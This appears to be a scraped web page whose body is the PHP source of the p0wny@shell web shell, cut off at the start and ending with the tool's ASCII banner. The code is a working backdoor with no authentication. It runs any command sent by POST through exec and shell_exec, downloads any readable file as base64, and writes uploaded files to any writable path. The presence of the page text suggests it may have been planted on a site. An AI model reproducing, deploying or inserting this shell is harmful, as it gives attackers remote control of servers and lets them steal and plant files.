Ultima modifica: 15 Settembre 2021
&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => array('File not found / no read permission.'),
'cwd' => getcwd()
);
} else {
return array(
'name' => basename($filePath),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => array('Invalid path / no write permission.'),
'cwd' => getcwd()
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => array('Done.'),
'cwd' => getcwd()
);
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?>
p0wny@shell:~#
___ ____ _ _ _ _ _
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_|
|_| |___/ \____/
